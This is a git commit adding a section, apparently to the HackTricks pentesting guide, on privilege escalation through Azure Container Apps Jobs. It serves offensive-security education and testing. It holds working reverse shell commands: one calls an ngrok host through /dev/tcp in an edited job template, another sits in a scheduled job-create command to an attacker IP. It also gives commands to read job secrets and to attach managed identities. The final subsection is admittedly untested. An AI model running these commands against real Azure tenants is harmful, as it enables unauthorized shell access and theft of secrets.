privesc jobs az

This commit is contained in:
Carlos Polop
2025-02-16 18:25:44 +01:00
parent 8d0d445b93
commit 31acbca2ed

View File

@@ -127,9 +127,85 @@ az containerapp create \
> [!TIP]
> Note that with these permisions **other configurations of the app** can be modified which could allow to perform other privesc and post explaoitation attacks depending on the configuration of existing apps.
## Jobs
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
Although jobs arent longrunning like container apps, you can exploit the ability to override the jobs command configuration when starting an execution. By crafting a custom job template (for example, replacing the default command with a reverse shell), you can gain shell access within the container that runs the job.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containers command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
If you have these permissions you can list all the secrets (first permission) inside a Job container and then read the valus of the secrets configured.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
If you have permission to modify a jobs configuration, you can attach a userassigned managed identity. This identity might have additional privileges (for example, access to other resources or secrets) that can be abused to escalate privileges inside the container.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
If you can create a new Container Apps Job (or update an existing one) and attach a managed identity, you can design the job to execute a payload that escalates privileges. For example, you could create a new job that not only runs a reverse shell but also uses the managed identitys credentials to request tokens or access other resources.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> This command will throw and error if you don't have the `Microsoft.App/jobs/read` permission also although the Job will be created.
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
It looks like with these permissions it should be possibel to start a job. This could be used to start a job with a reverse shell or any other malicious command without needing to modify the configuration of the job.
I haven't managed to make it work but according to the allowed parameters it should be possible.
{{#include ../../../banners/hacktricks-training.md}}